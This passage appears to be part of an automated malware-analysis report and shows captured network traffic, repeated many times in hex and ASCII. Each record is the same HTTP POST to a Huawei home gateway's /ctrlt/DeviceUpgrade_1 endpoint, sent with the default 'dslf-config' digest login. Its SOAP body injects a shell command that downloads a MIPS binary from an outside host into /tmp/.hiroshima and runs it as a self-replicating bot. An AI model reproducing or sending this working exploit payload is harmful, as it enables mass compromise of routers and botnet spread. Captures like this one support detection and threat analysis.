s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 